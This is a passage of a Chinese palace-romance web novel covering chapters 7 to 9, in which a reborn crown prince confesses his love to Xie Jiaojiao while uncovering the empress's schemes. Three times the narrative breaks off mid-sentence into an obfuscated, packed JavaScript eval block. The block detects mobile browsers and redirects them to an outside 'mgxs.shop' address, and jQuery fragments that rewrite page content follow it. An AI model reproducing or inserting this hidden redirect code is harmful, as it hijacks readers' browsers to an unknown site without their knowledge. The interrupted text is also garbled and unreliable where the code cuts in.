谢皎皎见它要咬人,顾不得许多,伸手将它挥开。
谁知这猫摔在地上浑身毛都炸了起来,抬着爪子就朝谢皎皎扑来,谢皎皎避之不及。
“姑娘!”
春芽瞧见她雪腕上的血印子,自责得红了眼。
她家姑娘冰肌玉骨不染半分尘瑕,这以后要是落了疤……
“您等着,我这就去取药来!”
谢皎皎拉住她:“无碍,眼下要紧的是先把云安公主应付过去。”
她想起什么:“猫呢?”
“怕是又从窗边逃了。”春芽气急,“这坏猫!姑娘平白遭这劳什子罪!”
谢皎皎拉下袖子,吩咐道:“先将此事告诉李公公,让他着人去寻。”
春芽低声应了。
云安公主在东宫门口,被侍卫们拦得不耐烦,等见着李来宝,当即就发作了。
“李公公好大的威风,竟敢派人拦本公主,叫母后知道,定轻饶不了你!”
李来宝忙躬身迎上去,赔笑道:“公主真是折煞奴才了!近日宫里常丢东西,殿下疑心底下奴才们手脚不干净,下令封锁宫门严查,这才闭门谢客,奴才也是奉命行事,还望公主莫怪。”
云安哼了声:“少拿皇兄的话来压我,本宫同皇兄自小一起长大,又不是外人,还会同贼人串通,替其遮掩不成?”
见李来宝踌躇,她又道:“这猫可是南邬进贡来的,精贵得很,本宫的侍女亲眼瞧它进了东宫,你再拦着,这猫若出了什么事,本宫唯你是问!”
“可殿下……”李来宝面露难色
云安见他松动了,继续道:“你只管放我进去寻猫,皇兄那边我自会交代,定不叫你受累。”
李来宝这才松了口。
“既如此……公主便请吧……”
宫门处的侍卫得了令退到两边。
云安公主率领众人正要进去,想起什么又倏地转身回头,手指着谢皎皎站的方向。
“——你!”
李来宝余光瞥着,心悬到了嗓子眼,谢皎皎和春芽也屏住了呼吸,弓着身子,头压得更低。
云安又随手指了数人:“……还有你们几个!进去帮着一块寻!”
众人心下稍松。
谢皎皎稍稍抬眼,确定云安公主进去了,这才混进刚刚被点的内侍里,垂着头,装模做样的跟着众人寻猫。
被猫挠了的伤口火辣辣的痛,带着煎熬难耐的痒意,谢皎皎强忍着不去挠,鼻尖上沁出了细密的汗珠。
远处云安公主对着自己带来的人道:“各个殿里都给我搜仔细些!万不可漏了角落!”
谁家寻猫不是寻花丛假山,她倒来寻殿寻宫。
果真是有蹊跷。
太子哥哥对皇后那般敬重,皇后为何还要疑心至此,不过是封锁了一日宫门,竟要叫云安公主亲自来探一番。
这其中……
谢皎皎蹙起了眉。
云安公主底下的人要搜书房,被门口的侍卫拦住。
李来宝忙上前。
“公主,别处都可寻,书房乃东宫重地,没有太子殿下的令牌,便是皇后娘娘来了,也是万万进不得的呀!”
云安公主蹙眉:“由东宫的侍卫跟着,叫我的人进去看一眼,这也不行?”
李来宝垂着头,拱手:“殿下的书房内外都有专人把守,不说是猫,怕是苍蝇都飞不进,公主还是去别处寻吧……”
云安公主气急:“你!”
二人僵持之际,李来宝手底下的小太监从假山后头气喘吁吁的跑上前,怀里抱着雪白一团。
“公公!公主!猫寻到了!”
浑身雪白,毛发蓬松,冰蓝色的猫瞳剔透纯净,正是要寻的那只。
寻到了猫,云安公主便没理由再命人搜了。
她瞪了李来宝一眼。
“下回再敢对本宫不敬,仔细你的皮!”
李来宝忙哈腰赔笑:“是是!望公主大人有大量,切莫同奴才计较……”
云安公主冷哼了声,却听抱着猫的宫女道。
“公主,这雪团儿爪子上有血迹……”
云安公主倒是真心喜欢这猫,闻言心疼坏了:“快瞧瞧,可是哪里伤着了?”
那宫女仔细瞧了瞧,摇头:“雪团儿没受伤,许是抓伤了人留下的。”
“那便好。”云安公主放下心,不甚在意道,“雪团儿性子温顺,定是哪个不长眼的叫它不喜了才会伤人。”
谢皎皎一直听着那边的动静,闻言登时气不打一出来。
明明是猫伤了人,却偏怪人不长眼,这云安,幼时跋扈就算了,长大了竟还如此不讲理。
且看她日后找到机会,不教训教训她!
待送走这尊大佛,李来宝才彻底安下心,对着谢皎皎一顿奉承:“姑娘此计甚妙,此番叫姑娘受委屈了,奴才……”
春芽心心念念惦记着谢皎皎的伤,打断了他。
“公公,可否取药箱来,我家姑娘被猫挠了。”
李来宝一惊,待看清伤势,更是额头起了一层冷汗。
“怎会如此严重?!”
三道抓痕血迹未干,伤口周遭密密麻麻蔓延了红疹,落在赛雪的肌肤上,犹如朱砂飞溅,刺目鲜艳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587433|205342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
春芽拧了巾帕,替谢皎皎清了血迹,又上了药粉,谢皎皎腕上这会又疼又痒,一双杏眸都蒙上了层水雾。
瞥见李来宝神色惶惶,谢皎皎安慰道:“我自幼碰了猫便会起疹子,此番是我大意了,公公不必自责。”
话虽如此。
可太子殿下一再嘱咐,命他将人照顾好,这、这……
李来宝道了谢,出去低声吩咐下面人。
“去太医院,将朱太医请来,仔细着,别叫人发觉……”
说罢,他用袖子按了按额头的汗,又唤来人:“去寻殿下,就说谢姑娘不慎被云安公主的猫抓伤了。”
*
凤仪宫内,金镶宝石朝冠耳炉上香气浮动,皇后正握着金剪修剪花枝,宫人们候在一旁,见兄弟二人来了忙通报。
皇后搁下剪子,看向萧北瀛淡淡道:“本宫还当太子如今长了本事,便不把本宫放在眼里了。”
身后的宫女托着花瓣水和巾帕上前替皇后净手。
“母后。”
萧北祺皱眉:“三弟是忧心手上杀孽伤了母后圣体,这才焚香抄经改作今日来,也是一片孝心。”
皇后哼了声:“既如此,便罢了。”
前世母子二人也总是一唱一和,萧北瀛如今心里已然没了波澜。
他拱手行礼,同往常一样问:“不知母后近日身子是否安康?”
“还算尚可。”
皇后摆摆手,又命人传膳。
三人落座。
萧北祺先给萧北瀛夹了块点心,笑道:“知道三弟爱吃这芙蓉桂花酥,母后一早就命人准备了,三弟尝尝味道如何。”
萧北瀛只尝了一口便搁下了,目光扫过萧北祺,落在皇后身上,似笑非笑。
“母后怕是记错了,孤自小喜的是咸口。”
甜口的芙蓉桂花酥。
从来都只有萧北祺爱吃。
皇后面色一僵:“往日未曾听你说过……”
萧北瀛唇边挂着笑,却不达眼底:“母后也未曾问过。”
没想到一直对她言听计从的太子会这样顶撞,萧北祺和皇后两人皆变了脸色。
皇后沉下脸:“太子这是在怪本宫?”
萧北瀛淡淡道:“儿子不敢。”
皇后还要发作,被萧北祺拦下:“母后切勿动气,三弟也是无心之言……”
萧北瀛心里冷笑,正要看二人再如何做戏,就见东宫的太监寻了过来。
那太监对着萧北瀛三人行了礼。
随后上前附在萧北瀛耳边,低声将话传了。
萧北瀛当即脸色冷下来,摔了银箸,厉色:“废物!孤养你们做什么吃的!”
传话的太监吓得一颤,当即跪了下来。
萧北祺不解:“三弟,这是……”
萧北瀛按下心口的火气,看了眼面前的母子二人,攥紧了袖下的手,皮笑肉不笑:“宫里进了不长眼的东西,伤了孤的宝贝。”
他起身拱手,掩下眼里的冷意:“儿臣不孝,今日便不陪母后用膳了。”
说罢,也不等皇后发话,便面无表情地拂袖走了。
小太监也耷拉着脑袋,快步跟上。
皇后怔了怔,旋即拍案怒道:“真是越来越放肆!”
萧北祺心下有些不安:“三弟此番回来似有些不同,莫非是知道了什么……”
“胡说!”皇后扫了眼边上的宫人,摆手叫他们退下,待周遭没了人,才低声嘱咐儿子道,“当年知晓此事的宫人早已被皇帝处死,往后万不可再提!”
想起萧北瀛,她冷笑:“他如今是翅膀硬了,忘了这条命是怎么捡回来的了……”
皇后说着,心疼的摸了摸儿子的腿:“祺儿放心,母后已命人寻到了神医下落,不日定能将你的腿医好……”
萧北祺默了半晌:“但愿如此。”
……
7. 勾引
萧北瀛疾步出了凤仪宫,两步又停了下来,吩咐小太监:“去内务府将去岁南邬进贡的金箔膏要来,只说是奉孤的命。”
小太监垂首称是,不想转身就撞了身后扫洒的宫女。
那宫女梳着双环髻,脸上带着伤,墨绿色的宫裙下,一双青缎鞋磨得发白,她抬眼瞧见萧北瀛,慌忙跪下行礼。
“给太子殿下请安,殿下万福金安。”
萧北瀛颔首,不经意瞥见她袖下露出一角的青紫伤痕,目光稍顿。
想起前世,萧北祺自双腿残疾后便性情大变,好似确实有传闻说他凌虐宫人,只是他当时满心愧疚,不曾派人去查。
如今看来,传言也并非空穴来风。
*
李来宝刚送走朱太医,瞧见太子爷匆匆跨了门进来,紧着心将今日的事细说了,见萧北瀛面色不虞,他扑通跪下请罪,嚎道:
“奴才有负殿下嘱托,叫姑娘受了伤,奴才……”
到底是跟了他多年的老人儿了,萧北瀛哪里看不出这狗奴才耍滑,一脚轻踹过去,睨了眼他淡淡道。
“自去领十个板子。”
李来宝苦着脸:“是……”
“回来!”
萧北瀛蹙眉:“太医如何说的?”
“叫姑娘三日不可碰水,按时抹药,不出一旬便可好全了,只是……”李来宝看着太子爷的脸色,犹豫道,“只是怕会落下疤……”
萧北瀛嗯了声,眉头松开。
谢皎皎听闻太子下朝后就去了凤仪宫请安,没想到他这么早就回来了。
日思夜想的人就站在眼前,谢皎皎反倒近乡情怯了,怔在原地,贝齿不自觉咬着唇,心乱如麻。
“……姑娘。”春芽见她半晌不动,压着声含糊不清的提醒着,“行礼,姑娘……”
谢皎皎猛的回神,垂下头,忙屈膝:“臣、臣女参见殿下,殿下万福……”金安。
见她如此拘束,萧北瀛心中轻叹,不等她见完礼就将人扶起,好笑道:“昨日还一口一个太子哥哥,今日就是殿下了?”
谢皎皎唰的红了脸,羞惭满面:“昨日……臣、臣女一时糊涂,失了礼数……”
萧北瀛不喜她同他如此生疏,伸手抬起她的下巴,迫使她仰头。
春芽不可置信的钉在原地。
这这这……
不是说太子殿下最是知节守礼之人吗?怎、怎对她家姑娘如此、如此……孟浪。
有眼色的李来宝当即连拉带拽的将人拖了出去,不忘悄没声儿的把门带上……
谢皎皎也是毫无防备,盯着眼前这张俊逸出众的面容,心口慌乱不堪,喉口微涩,险些连呼吸都忘了。
萧北瀛俯下身,摩挲着指下那片细腻白皙的肌肤,勾起唇。
“那便一直糊涂下去……”
谢皎皎睫毛颤了颤,看着那笑,只觉着脑中轰的一下,像喝醉了酒似的,晕乎乎的。
萧北瀛看着她绯红的脸庞,眸色深了深,声音带着蛊惑:“……可好?”
谢皎皎迷迷怔怔的点了头。
萧北瀛满意的用指腹蹭了蹭她的下巴,旋即将人松开。
“伤了哪只腕子?”
谢皎皎呆呆抬了抬手。
萧北瀛刚要握住检查一番,谢皎皎不知想到什么,蓦地清醒过来,往后退了一步。
萧北瀛失笑,伸手去捞:“别动,给孤瞧瞧伤口。”
谢皎皎又退了一步。
萧北瀛脸上的笑意淡了淡,蹙眉:“躲什么?”
谢皎皎看着他,心中几番纠结,还是忍不住问了:“太子哥哥既不喜欢我,又……”
萧北瀛挑眉:“又什么?”
谢皎皎闭了闭眼,心一横,脱口道:
“又何必勾引我!还、还让我留宿东宫,毁我名声……”
越往后,声儿就越小了。
勾引?毁她名声?
小丫头还真敢说……
萧北瀛简直哭笑不得。
“孤何曾说过不喜欢?”
谢皎皎瞥了他一眼,绞着指头驳道:“明眼人都瞧得出……”
若是喜欢她,又怎会这么多年都拒她于千里?
甚至……不惜亲征三年。
萧北瀛一噎。
心口也疼得厉害。
前世……她究竟是以何心情同他身死一处的。
……萧北瀛不敢想。
二人前世种种羁绊走马灯似的在眼前重现,画面意外的鲜活。
从太后寿宴被那个粉雕玉琢的雪团子抱住腿,到她握着他的玉佩不松手,再到后来她无事便寻些宫外的小玩意儿逗他开心……最后就是她含泪自戕在他怀中。
儿时父皇严厉,母后冷淡,宫人们奉承……
唯有她,是同旁人不一样的。
“没有不喜欢……”
他哑声道:“只是从前孤不懂,也不愿承认……”
谢皎皎怔怔看着他。
萧北瀛垂下眸,同她坦露心迹。
“外人都羡孤自幼得父皇看重,享太子之尊……殊不知……孤连寻常百姓的母子亲情都未曾体会过。”
“……父皇一直对孤寄以厚望,教导孤,欲安社稷者,必有所割弃;欲固君位者,必行权变之术……”
“孤学得很好……”萧北瀛自嘲,“玩弄人心,机关算尽,为达目的,什么情爱、道义……统统不值一提……”
“可此番,在……”
他神情晦涩,顿了一下:“……在沙场,经历了生死……孤却后悔了。”
“孤不愿……不愿只为父皇活、为母后活、为太子之位活,不愿来日身死徒留悔憾……”
萧北瀛定定看着她,艰涩道:“孤也想……为自己活一次。”
陪你,重活一次。
谢皎皎听完这席话,心似被劈成两块儿,半边疼得发涨,半边甜得腻人。
她竟不知……太子哥哥这些年都是这样过的,也未曾想过,自己痴念多年的梦中人亦心悦于她。
萧北瀛样貌随了嘉德帝,形容俊美,剑眉飞斜入鬓,大抵是性情冷淡,平日狭长的丹凤眼里总透着几分疏离。
今日他身着玄色织金蟒纹宽袍,如意纹广袖浓金滚了边,片云缀金腰环,上面坠着缡龙纹白玉佩,墨发由嵌宝赤金冠束起,愈发衬得身姿挺拔,面如冠玉。
谢皎皎陷进他那双化了冰的眼眸中,只觉心如擂鼓,脸颊火烧似的。
她忍不住咽了咽口水:“那往后……”
萧北瀛再不愿克制,抬手将她拥进怀里,大掌锁住她的腰,沙哑道:
“往后,都由皎皎陪着孤,可好?”
熟悉的苦松香扑面而来,谢皎皎红了脸,点点头,她试探的环住他,软若无骨的柔荑贴在他背上,轻轻抚了抚。
重生
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587434|205342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以来所有的不安、恍惚,终于有了归处。
萧北瀛只觉心中安稳熨帖,忍不住将她搂得更紧。
两人贴着抱了许久,直到李来宝硬着头皮来扣菱花门:“殿下,谢贵妃遣人来催了……”
萧北瀛这才将人松开。
谢皎皎这会子倒是有些难为情了,低着头,不敢瞧他,腮边晕霞,烧到了耳根子。
雪白圆润的耳垂充了血宛若上好的东海珍珠,萧北瀛忍不住捏了捏,戏谑:“羞什么?不是胆大包天,城楼都上得?”
谢皎皎杏目睁圆,耳朵红得更厉害。
她小声嘟囔:“太快了嘛……”
萧北瀛听见了,勾唇,不再逗她。
他朝外喊:“来宝!”
很快门被人推开,李来宝进来先瞅了眼满面春风的太子爷,又若无其事的扫了眼谢皎皎,只见谢姑娘白霜般的雪肤上洇出胭脂红,明艳动人的面上恰似桃花绽放。
李来宝心里便有数了。
“殿下?”
萧北瀛吩咐道:“金箔膏可取来了?”
“取来了。”李来宝捧了药上前,笑吟吟的。
萧北瀛拆了纱布,亲自给谢皎皎上了药,瞧见糜烂红肿的伤口,好看的丹凤眼里闪过寒意,更多的是心疼。
他捧着她的手:“可还疼?”
谢皎皎心里灌了蜜似的,摇了摇头。
“这金箔膏可化腐生肌,每日涂些便不会留疤了。”
谢皎皎是听说过这个的,她迟疑道:“可这不是南邬送来的贡品,专供二皇子活血生筋的吗……”
传言当年二皇子为救落水的太子殿下,在冰湖中冻坏了腿,皇后娘娘听闻这失传的金箔膏有生肌续筋的奇效,不惜花费重金命南邬族人遍寻珍草名药制作成膏,放进每年的岁贡中。
一年最多不过三五瓶,极其珍贵。
想起萧北祺和皇后,萧北瀛脸上笑意便淡了淡。
他替她卷下袖子,不甚在意道:“左右他用了这么些年也未见好,想来成效不大。”
“可是皇后娘娘……”
萧北瀛抬手,指腹轻压在她朱唇上,温声道:“无碍,你只管听话,用着就是。”
唇上的温度叫谢皎皎心被火燎了似的口干舌燥。
她不自在的抿了抿唇,目光飘忽,点了点头。
谢贵妃担心惹人注目,只唤了身边不打眼的宫女来。
李来宝引着人进来。
“奴婢见过太子殿下,见过表姑娘。”
萧北瀛淡声:“起来吧。”
那宫女直起身,不敢多瞧,只毕恭毕敬的传话。
“娘娘说,姑娘尚未出阁,殿下不日又将定下储妃,强留姑娘夜宿东宫实是有违礼制。”
“还请殿下速将姑娘送回,往后顾及谢家和皇后娘娘的颜面,行事三思。”
言外之意,强留臣女过夜,大逆不道,且不顾及皇后和乔家的成算,陷谢家于两难,非君子之风。
李来宝瞪眼:“大胆!”
萧北瀛自幼得嘉德帝看重,稳坐储君之位,前朝大臣、后宫妃嫔,就算不是阿谀奉承,也是恭敬有加,哪个敢这般明目张胆的斥责。
谢皎皎悄悄去看萧北瀛的脸色。
只见他扫了李来宝一眼,随即看向那宫女,淡声道:“回去告诉贵妃娘娘,孤受教了。”
那宫女屈了屈膝,退下了。
8. 试探
萧北瀛转过身,打量起谢皎皎尚未来得及脱下的行头,忍不住勾唇:“你倒是机灵,比孤想得还妥帖。”
原先还怕她出东宫太过打眼,替她准备了两套宫女的衣裳做遮掩。
不想她这般聪明,为躲云安混进太监堆里,来了出灯下黑。
谢皎皎这才想身上这不伦不类的装扮来,臊得耳尖通红。
她先前竟然穿着这身衣衫同太子哥哥那般……
对上萧北瀛促狭的目光。
谢皎皎捂住脸,背过身去,恼道:“太子哥哥!不准再看了!!”
见她不再拘谨,萧北瀛眼底笑意更深。
他扶着她的肩将人翻过面来。
谢皎皎仍觉得自己形容潦草,有碍观瞻,不肯放下手。
萧北瀛无奈,低声哄着:“原是怕惹眼欲将你扮作宫女,如今想来扮作内侍倒更为稳妥,你这是同孤想到一处去了。”
谢皎皎露出一双杏眼:“当真?”
萧北瀛拉下她的手,失笑。
“当真。”
李来宝同春芽眼观鼻鼻观心,皆心照不宣的低下头。
谢皎皎在殿中由春芽帮着理了理妆发,萧北瀛也回寝宫换下朝服,他展开臂,李来宝服侍着他更衣,不解道:
“殿下,这贵妃娘娘如此拂您脸面……您这怎么还要亲自送谢三姑娘?”
“昨日是孤莽撞了,贵妃这是心疼皎皎……”萧北瀛垂下眸,淡淡道,“也是想借机试探孤。”
李来宝动作一顿:“试探?”
“母后属意乔家女,孤却避着人将皎皎带回东宫。”
萧北瀛看得分明:“贵妃此番,既是想探探孤的态度,也是提醒孤,若对皎皎有意,须得早日将亲事定下……”
李来宝领悟,却更不解:“这谢家、乔家都是追随您的,皇后娘娘为何偏如此抬举乔家?”
萧北瀛冷笑:“乔家追随的可不是孤,是母后。”
这太子妃之位不过是叫乔家听话的投名状。
至于乔家是否知道皇后改立储君的成算,就不得而知了。
皇后是南邬人,在朝堂并无亲族,嘉德帝为打击世族,有意取寒门子弟入仕,乔任重因推进科举改革深受寒门子弟爱戴,往后朝堂半边都是他的门生。
拿捏住了乔家,便是拿住了一众文臣,待谢家没落,武勋式微,朝堂更是乔家只手遮天。
到时有乔家的鼎力支持,萧北祺便可安稳上位。
他这个好母后。
真是打得一手好算盘……
想到这里,萧北瀛又不免思付起上一世。
嘉德帝早年忌惮武勋手中的兵权,又有心要除世族积蠹,这才执意改革科举,一手提拔了寒门出身的乔任重。
乔任重后来门生众多,在文官中地位仅次于左相顾鼎明,称得上是位高权重。
也是那时候,燕国公谢震山被查出私贩军械。
因着西骊一战大胜,南邬、东歧皆不敢轻举妄动,边疆稳固,嘉德帝毫无顾忌,一怒之下收回谢家兵权,褫夺爵位,下令处死燕国公。
太后和谢贵妃苦苦哀求,才堪堪保住了谢家其余众人。
谁也不曾料到,燕国公身死后,东歧不日就十万大军一路西进,谢家军主帅移位,士气低沉,边疆溃败,连失数城。
彼时嘉德帝缠绵病榻,得到消息当即吐了血,他代父理政,权衡下再度起复了谢家兄弟,谢家也不负他所托,夺回了一半城池。
若是谢震山没有出事,东岐定然不敢来犯。
淫浸官场多年,谢家一倒,获益最大的便是乔家,他不信当中没有乔家的手脚。
谢家的衷心和英勇朝臣们心知肚明,他也曾有心想保一保谢家,故派人暗中探查,只是铁证如山,难以翻案,加上皇后几番施压叫他收手……
如今想来,谢家的没落,究竟只是乔家的野心,还是皇后的深意,皆有待商榷。
若是前者,便只是朝堂之争。
若是后者……
又究竟是为何?
萧北瀛突然问:“泽郜可回了?”
前世种种,他至今不甘,一回京城就派了亲信去查早年的事了。
李来宝摇头:“尚未,应是快了。”
萧北瀛又问:“递消息的人查的如何了?”
今日他是故意放了消息说要封锁宫门,等着皇后的眼线将消息递出去。
李来宝点头:“查到了,统共四个,殿下要如何处置?”
“将人拿了……”
萧北瀛冷冷吐出两字:“杖、毙。”
昨日虽是将皎皎裹紧了,侍奉用的人也都是亲信,怕还是叫皇后察觉了,这才叫云安来查探。
李来宝知道到他家殿下这是和皇后娘娘生了嫌隙,不敢多言,垂首应了。
*
待两人收拾好便一同出了东宫,谢皎皎低着头,亦步亦趋的跟在萧北瀛身后,李来宝和春芽伴在两侧。
到了丹仪宫门口,谢皎皎憋了一路,还是拉住了萧北瀛的袖子。
萧北瀛偏过头瞧她。
“姨母先前叫人传的话……殿下……”
萧北瀛皱眉。
“殿下?”
谢皎皎脸一烧,改口:“太子哥哥……”
“总之!姨母的话太子哥哥不要放在心上,姨母也是担心我……”
还当她能忍多久。
萧北瀛屈指敲了下她头上内侍朱帽,好笑道:“自然,贵妃娘娘待你好,孤高兴还来不及。”
“那便好……”
谢皎皎扶住帽子,咧嘴笑了,心里甜滋滋的。
谢贵妃已等候多时,打昨夜得了消息就坐立难安,一夜都未睡好。
萧北瀛和谢皎皎一同向她请安。
谢贵妃抬手示意他们免礼,又叫宫人们全都退下。
她余光不动声色的打量谢皎皎,见她无碍,心这才安了几分。
谢贵妃无儿无女,谢皎皎打小是她看着长大的,一直视作亲女儿待的。
同东宫联姻,虽是为了谢家的荣宠,可若皎皎自己不愿,她也是不会强迫的。
昨日太子做得实在太过,无名无份将人带去东宫过夜,皎皎醉了酒又神志不清,若是被有心人撞见,岂不是清誉尽毁。
谢贵妃因此看向萧北瀛的眸中带了几分不悦。
“本宫只叫殿下将皎皎送回,殿下怎的也不请自来了?”
谢皎皎有心从中调和:“姨母……”
谢贵妃美眸瞪了她一眼。
“等会子再同你计较……”
谢皎皎还是头回见姨母如此模样,顿时不敢再出声,讷讷将嘴闭了。
萧北瀛蹙眉,将人拉到身后。
“娘娘要计较,同孤计较便是,皎皎昨日醉了酒,并不知情。”
谢贵妃本还心口郁气难消,见他这般护着,微愣,反倒怒意淡了不少。
她理了理织金云纹大袖上的褶子,整好以瑕。
“殿下贵为储君,本宫怎可同殿下计较?”
萧北瀛无意同她打圈子,直说了。
“娘娘的意思亦是孤的意思,孤此番前来,也是想同娘娘表明心意。”
原想着还要绕好些圈子。
不想太子竟这般直接,将话摆在了明面上。
谢贵妃攒了一肚子的话无处说,怔了下:“既如此,本宫便心安了……”
云里雾里,这是打什么哑谜?
姨母不是问罪的吗,怎的太
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587435|205342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子哥哥两句话就叫姨母没话说了……
谢皎皎尚未想明白,萧北瀛便拱手告辞了。
他平日同谢贵妃并不熟络,也甚少来这丹仪宫,待久了恐叫人起疑。
临走前,有谢贵妃在,他也不好哄她,只低声道:“平日无事,可多进宫来陪娘娘和太后。”
谢皎皎听明白了他话中的意思,热了热脸,颔首。
待萧北瀛带人走了,谢贵妃当即涂了丹蔻的玉掌拍在案上。
“跪下!”
谢贵妃虽是女儿身,幼时也是跟着谢父习过些武的,手劲儿不容小觑。
谢皎皎儿时顽劣,谢贵妃虽宠爱她,揍起她时却也从不手软。
她心里犯怵,扑通一下就跪下了。
见她还算乖巧,谢贵妃抿了口茶,淡淡道:
“将你在东宫的事,一字不差,细细说与本宫。”
太子先前对皎皎的态度她也是知晓的,与今日大相径庭,其中定有猫腻。
谢皎皎本来还想搪塞几句,见谢贵妃这副神色,只好挑着要紧的说了。
“就这些了,姨母……”
谢贵妃思付着她说的话,虽仍犹疑,倒也踏实了些。
想起这丫头对太子一片痴心,又不免叹气,忧心这倔丫头日后怕是要被太子吃得死死的。
谢皎皎见姨母脸色好看了几分,趁机把心里的不解问了。
谢贵妃见她不懂,也无意同她说,怕她空欢喜一场,只说:
“日后你自会知晓。”
谢皎皎也只好作罢。
*
回东宫路过御花园,远远瞧见云安公主身后跟了一众宫人,手里皆拿了物什,围着逗猫。
想起谢皎皎手腕上那伤,萧北瀛抬手招来李来宝,同他低语了几句。
李来宝听完,心中替云安捏了把汗,愈发笃定日后要奉承好谢姑娘。
另一边,凤仪宫。
皇后正由宫女们侍奉着涂丹蔻,凤仙花瓣将将混了明矾碾碎涂在指甲上,尚未包好,内务府的消息便到了。
听完等不及动气,又有太监急匆匆的来报。
皇后当即拂袖掀翻了楠木案上的一应用具,血红的花汁哗啦啦流了一地。
“全死了?!”
那太监跪下称是。
旁的宫人也跪了一地,颤着不敢动弹。
皇后捏紧了帕子,冷笑。
“好得很……来人!”
萧北祺由人推着进来,瞧这副情景,蹙眉:“母后何故如此动气?”
皇后想起这一桩桩便气得肝疼:“瞧你那好弟弟!今日去内务府讨去你的膏药便罢了,还杖毙了本宫安插的四个宫人!”
“他这是要做什么?要反了本宫不成?!”
萧北祺亦是没料到。
他默了默:“他今日说什么宝贝……莫不是云安今日碰了什么不该碰的?”
“他还有什么是本宫碰不得的?”皇后正在气头上,当即唤人,“来人!去传太子!”
“不可!”
萧北祺将人拦下,同皇后分析利害。
“如今户部侍郎位子空下来,须得补上我们的人……三弟今日怕是有意同您置气,母后切莫放在心上,当好生安抚一番,尽快将此事定下。”
萧北祺说得在理。
皇后定下心,理智了些:“……祺儿说得是,且依你看,定谁合适?”
他们如今的自己人,也就只有陆家和乔家。
萧北祺早已想好人选。
“乔任重的庶子,乔知裕。”
他眼中闪过厌恶:“乔任重这个老东西,心思深沉,不多给些甜头怕是不会听话。”
皇后点头:“如此,便照你说的罢……”
9. 毁容
户部侍郎的差事还须萧北瀛交代两省草拟奏疏,审核举荐,这个节骨眼儿上,皇后有气也不好朝他发作。
细想来,萧北祺的话也不无道理。
太子向来对她言听计从,莫不是云安带人去东宫真碰了什么了不得的?
皇后心下存疑,预备明日唤云安来好生问询一番。
翌日正值初一,众嫔妃同来凤仪宫请安。
刚落座,就有宫人来报,说是公主被雪团儿抓花了脸,来求二皇子的金箔膏。
金箔膏价值千金,怎能说赐就赐。
偏偏云安自小养在她膝下,外人皆知她们母女亲厚,当着众人的面,皇后也不好没脸,只得允了。
昨日谢皎皎腕上的伤有意没遮掩,谢贵妃一问,她又是喊疼又是叫痒,狠狠告了云安一状。
平日小辈们拌嘴吵舌是常事,谢贵妃从不插手,谢皎皎的性子她也知晓,多半是要添油加醋的,但云安仗着皇后确实跋扈。
她们谢家的姑娘,没道理吃凤仪宫的亏。
本还想着没有由头发作,这会子倒巧了。
谢贵妃闻言抿了口茶,漫不经心道:“有其物必有其主,这猫呀就同人一样,平日不多加管教,性子就养野了,还真把自己当什么金贵玩意儿了。”
宫里哪个不是莲藕成了精,长着八百个心眼子。
云安的生母不过一介洗脚婢女,趁嘉德帝醉酒才爬上龙塌,可惜命薄,生产时大出血去了,这才养到皇后膝下。
谢贵妃三言两语,含沙射影将母女二人一道儿讽了。
众人眼观鼻鼻观心,面面相觑。
谢贵妃姿容绝艳,入宫十几年来荣宠不断,又有太后和母家撑腰,做事说话从来是无所顾忌。
放眼整个后宫,她也是唯一敢同皇后这般叫板的。
皇后唇角扬着,笑却不达眼底:“妹妹这是何意?”
“臣妾不过是担忧,这猫今日伤了公主,怕是明日稍有不慎,就冲撞了娘娘,冲撞了陛下……”
谢贵妃放下杯盏,状似无意:“这畜生嘛,行事总是随了主子,依臣妾看,怕是公主这性子也该改改。”
皇后笑意淡了些:“妹妹说得是,这猫不听话,就关进笼子里饿着,这公主……乃是陛下的金枝玉叶,自是金贵,本宫心疼还来不及,又如何舍得叫她改?”
“臣妾不过是怕公主往后在别处吃亏。”谢贵妃用帕子压了压唇角,淡淡道,“娘娘既如此想,倒是臣妾无儿无女,不懂慈母心了。”
皇后只笑不语,众妃嫔神情拘谨,从旁静听。
唯有戚贵妃倏然勾起唇角,不紧不慢地出声道:“妹妹此言差矣!”
她轻笑:“虽说妹妹是没能诞下龙嗣,却是将皎皎那丫头养得活泼可爱……”
“本宫往时瞧见便欢喜得厉害,只恨自己个儿没能生个女儿!”
谢贵妃眼波微动,心下觉得稀奇。
这戚贵妃的兄长虽出生草莽,却战功赫赫,年纪轻轻封了靖安侯,如今手握二十万大军驻守关阳西川十八城,戚家如今也算家世不凡。
可惜因着膝下两位皇子,戚贵妃到底顾忌往后太子登基,不愿与皇后交恶,又无意得罪她,惹得太后不喜,一贯是个装傻避事,无利不起早的。
上回宫宴,才莫名其妙的帮着皇后落她面子。
今日怎么又突然捧起她来了?
